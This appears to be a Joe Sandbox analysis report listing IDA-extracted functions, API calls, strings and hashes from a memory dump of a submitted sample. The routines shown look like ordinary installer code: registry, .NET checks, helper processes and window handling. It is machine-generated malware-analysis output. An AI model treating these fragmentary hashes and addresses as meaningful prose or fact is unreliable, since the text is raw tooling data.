                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: QueryValue$FormatMessageOpen
                                                                                                                                                                                                                                      • String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
                                                                                                                                                                                                                                      • API String ID: 2812809588-1577016196
                                                                                                                                                                                                                                      • Opcode ID: d2d2157a54bb89dc076ef9e0fa42170e86ba3ac777985cc89856524af98327e3
                                                                                                                                                                                                                                      • Instruction ID: 10c729c5df0f457655d9edc07d187ac9b2ad403c2690153cc8aec617143616fc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d2d2157a54bb89dc076ef9e0fa42170e86ba3ac777985cc89856524af98327e3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D1914871E44148ABDB10DF95C842BDEB7FCEB49309F50406BF900FB282D6789E458B69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 004591B4: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004592F1,00000000,004594A9,?,00000000,00000000,00000000), ref: 00459201
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,004594A9,?,00000000,00000000,00000000), ref: 0045934F
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,004594A9,?,00000000,00000000,00000000), ref: 004593B9
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,004594A9,?,00000000,00000000,00000000), ref: 00459420
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • SOFTWARE\Microsoft\.NETFramework\Policy\v4.0, xrefs: 00459302
                                                                                                                                                                                                                                      • v1.1.4322, xrefs: 00459412
                                                                                                                                                                                                                                      • v4.0.30319, xrefs: 00459341
                                                                                                                                                                                                                                      • SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 0045936C
                                                                                                                                                                                                                                      • v2.0.50727, xrefs: 004593AB
                                                                                                                                                                                                                                      • SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 004593D3
                                                                                                                                                                                                                                      • .NET Framework version %s not found, xrefs: 00459459
                                                                                                                                                                                                                                      • .NET Framework not found, xrefs: 0045946D
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Close$Open
                                                                                                                                                                                                                                      • String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$SOFTWARE\Microsoft\.NETFramework\Policy\v4.0$v1.1.4322$v2.0.50727$v4.0.30319
                                                                                                                                                                                                                                      • API String ID: 2976201327-446240816
                                                                                                                                                                                                                                      • Opcode ID: 54e34cd44602b93ede3f7296a9310ab82d879df4d5c444ac47c898e8d614a2f1
                                                                                                                                                                                                                                      • Instruction ID: 97f3333ca529404cdccdc0b2d9ed50ca34310147e07c283222f48f4afab481b6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 54e34cd44602b93ede3f7296a9310ab82d879df4d5c444ac47c898e8d614a2f1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7551B331A04144DBCB04DFA8D8A17EE77B6DB49305F54447BA841DB392E73D9E0ACB18
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 004588CB
                                                                                                                                                                                                                                      • TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 004588E7
                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00002710,?), ref: 004588F5
                                                                                                                                                                                                                                      • GetExitCodeProcess.KERNEL32(?), ref: 00458906
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0045894D
                                                                                                                                                                                                                                      • Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00458969
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Helper process exited with failure code: 0x%x, xrefs: 00458933
                                                                                                                                                                                                                                      • Stopping 64-bit helper process. (PID: %u), xrefs: 004588BD
                                                                                                                                                                                                                                      • Helper isn't responding; killing it., xrefs: 004588D7
                                                                                                                                                                                                                                      • Helper process exited, but failed to get exit code., xrefs: 0045893F
                                                                                                                                                                                                                                      • Helper process exited., xrefs: 00458915
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
                                                                                                                                                                                                                                      • String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
                                                                                                                                                                                                                                      • API String ID: 3355656108-1243109208
                                                                                                                                                                                                                                      • Opcode ID: 73dbfa3cdad617e305c3f832d4c000a78a7b9bdfac17e51cf2f5e1c942fa38a0
                                                                                                                                                                                                                                      • Instruction ID: 059a586d5f9fe809614c5be1e0bb00d3bdcd38e01f6b882276f5f7501e11c42c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 73dbfa3cdad617e305c3f832d4c000a78a7b9bdfac17e51cf2f5e1c942fa38a0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4C2130706087409AD720E67AC485B6B76D4AF08305F00C82FB9DAE7693DE78E848D75B
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DDE4: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045464F
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045478B
                                                                                                                                                                                                                                        • Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454567
                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454597
                                                                                                                                                                                                                                      • RegCreateKeyEx, xrefs: 004545C3
                                                                                                                                                                                                                                      • , xrefs: 004545B1
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseCreateFormatMessageQueryValue
                                                                                                                                                                                                                                      • String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
                                                                                                                                                                                                                                      • API String ID: 2481121983-1280779767
                                                                                                                                                                                                                                      • Opcode ID: 64c03f8d0974fb8baae80ac1f56f66a2074ee7a7d7e2c1940a2ac01f19c1dde8
                                                                                                                                                                                                                                      • Instruction ID: cde7545684c4620c2d036396f19d9a4160a162433608d969df8f63117b7f1412
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 64c03f8d0974fb8baae80ac1f56f66a2074ee7a7d7e2c1940a2ac01f19c1dde8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AC81FF75A00209ABDB00DFD5C981BDEB7B9EB49309F50452AF900FB282D7789A45CB69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 004538BC: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539AB
                                                                                                                                                                                                                                        • Part of subcall function 004538BC: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539BB
                                                                                                                                                                                                                                      • CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 0049683D
                                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00496991), ref: 0049685E
                                                                                                                                                                                                                                      • CreateWindowExA.USER32(00000000,STATIC,004969A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00496885
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(?,000000FC,00496018), ref: 00496898
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496964,?,?,000000FC,00496018,00000000,STATIC,004969A0), ref: 004968C8
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 0049693C
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496964,?,?,000000FC,00496018,00000000), ref: 00496948
                                                                                                                                                                                                                                        • Part of subcall function 00453D30: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17
                                                                                                                                                                                                                                      • DestroyWindow.USER32(?,0049696B,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496964,?,?,000000FC,00496018,00000000,STATIC), ref: 0049695E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$File$CloseCreateHandle$AttributesCopyDestroyLongMultipleObjectsPrivateProfileStringWaitWrite
                                                                                                                                                                                                                                      • String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
                                                                                                                                                                                                                                      • API String ID: 1549857992-2312673372
                                                                                                                                                                                                                                      • Opcode ID: 7b9aa83098eabb2dba0b70aa405a2d9f6b8f1b4b66eab831558cfba939a8a2a9
                                                                                                                                                                                                                                      • Instruction ID: 93ed1b954d13302bbccf96d2c338465d3c98789abcf3618d64464ab15fb4d88f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7b9aa83098eabb2dba0b70aa405a2d9f6b8f1b4b66eab831558cfba939a8a2a9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 71412C70A04608AEDF00EBA5DC42FAE7BB8EB09714F51457AF400F7291D6799A008B69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E1C0,00000000), ref: 0042E441
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E447
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E1C0,00000000), ref: 0042E495
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressCloseHandleModuleProc
                                                                                                                                                                                                                                      • String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$QaE$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 4190037839-2312295185
                                                                                                                                                                                                                                      • Opcode ID: cc4cf932d7b220052410dacf18b487448e6dec6834fb41b85ae1fa26c47c2f69
                                                                                                                                                                                                                                      • Instruction ID: f42d7e7755912f49377b3a3c2778cbb45b18f2cdc7334bb7b0fb93ca3fe573dd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cc4cf932d7b220052410dacf18b487448e6dec6834fb41b85ae1fa26c47c2f69
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E8213230B10225BBDB10EAE6DC51B9E76B8EB44308F90447BA504E7281E77CDE419B5C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 00462870
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll), ref: 00462884
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00462891
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0046289E
                                                                                                                                                                                                                                      • GetWindowRect.USER32(?,00000000), ref: 004628EA
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 00462928
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$AddressProc$ActiveHandleModuleRect
                                                                                                                                                                                                                                      • String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
                                                                                                                                                                                                                                      • API String ID: 2610873146-3407710046
                                                                                                                                                                                                                                      • Opcode ID: 963cd5e9bec20ae9785dbab648af90e3917fdde5ac028f1e20745c9c218af8a1
                                                                                                                                                                                                                                      • Instruction ID: fe1f68fcdb92d8fdb5b24afc8a588ee1dd3fc27577eab862170fec9bd430383f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 963cd5e9bec20ae9785dbab648af90e3917fdde5ac028f1e20745c9c218af8a1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4621C5B5301B056BD301EA648D41F3B3699EBC4714F05052AF944DB3C6E6B8EC048B9A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 0042F194
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll), ref: 0042F1A8
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042F1B5
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042F1C2
                                                                                                                                                                                                                                      • GetWindowRect.USER32(?,00000000), ref: 0042F20E
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 0042F24C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$AddressProc$ActiveHandleModuleRect
                                                                                                                                                                                                                                      • String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
                                                                                                                                                                                                                                      • API String ID: 2610873146-3407710046
                                                                                                                                                                                                                                      • Opcode ID: fe4f6826bb7301b99e83fbe15c42cc49c8205db95b757379d9683ee99bf223cf
                                                                                                                                                                                                                                      • Instruction ID: 50a2e38ba83faf67dd7c56e8d7733487d454ef14a416094e89dadcccf0bf0910
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fe4f6826bb7301b99e83fbe15c42cc49c8205db95b757379d9683ee99bf223cf
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3821F279704710ABD300EA68ED41F3B37A9DB89714F88457AF944DB382DA79EC044BA9
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00458C4B,?,00000000,00458CAE,?,?,020B3858,00000000), ref: 00458AC9
                                                                                                                                                                                                                                      • TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000,00000001,00000000,00000000,00000000,00458C4B), ref: 00458B26
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000,00000001,00000000,00000000,00000000,00458C4B), ref: 00458B33
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00458B7F
                                                                                                                                                                                                                                      • GetOverlappedResult.KERNEL32(?,?,00000000,00000001,00458BB9,?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000), ref: 00458BA5
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,00000000,00000001,00458BB9,?,-00000020,0000000C,-00004034,00000014,020B3858,?,00000000,00458BE0,?,00000000), ref: 00458BAC
                                                                                                                                                                                                                                        • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
                                                                                                                                                                                                                                      • String ID: CreateEvent$TransactNamedPipe
                                                                                                                                                                                                                                      • API String ID: 2182916169-3012584893
                                                                                                                                                                                                                                      • Opcode ID: 971ff5326f64256da56b2a3a5e971e3af97d4d6353f8bcf162cac826e6801041
                                                                                                                                                                                                                                      • Instruction ID: 4e8b515c978fc0f7227371b00e454fc29eb41545a574c41675fd698137751177
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 971ff5326f64256da56b2a3a5e971e3af97d4d6353f8bcf162cac826e6801041
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D74185B1A00608AFDB15DF95CD41F9EB7F8FB48715F10406AF900F7292CA78AE44CA68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00456CD1,?,?,00000031,?), ref: 00456B94
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 00456B9A
                                                                                                                                                                                                                                      • LoadTypeLib.OLEAUT32(00000000,?), ref: 00456BE7
                                                                                                                                                                                                                                        • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressErrorHandleLastLoadModuleProcType
                                                                                                                                                                                                                                      • String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
                                                                                                                                                                                                                                      • API String ID: 1914119943-2711329623
                                                                                                                                                                                                                                      • Opcode ID: ee3ea3d82efd4fb2b54eebd443786074e6cae9edf60e5ac548ea64bc7aca37c1
                                                                                                                                                                                                                                      • Instruction ID: 513f35abe53900720ade907ad6bd055a7f67a8f7377afb521354ad4100752fe6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ee3ea3d82efd4fb2b54eebd443786074e6cae9edf60e5ac548ea64bc7aca37c1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 54319671700604AFDB02EFAACD51D5BB7BDEB8974575284A6BC04D3752DA38DD04C728
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RectVisible.GDI32(?,?), ref: 00416E13
                                                                                                                                                                                                                                      • SaveDC.GDI32(?), ref: 00416E27
                                                                                                                                                                                                                                      • IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416E4A
                                                                                                                                                                                                                                      • RestoreDC.GDI32(?,?), ref: 00416E65
                                                                                                                                                                                                                                      • CreateSolidBrush.GDI32(00000000), ref: 00416EE5
                                                                                                                                                                                                                                      • FrameRect.USER32(?,?,?), ref: 00416F18
                                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 00416F22
                                                                                                                                                                                                                                      • CreateSolidBrush.GDI32(00000000), ref: 00416F32
                                                                                                                                                                                                                                      • FrameRect.USER32(?,?,?), ref: 00416F65
                                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 00416F6F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
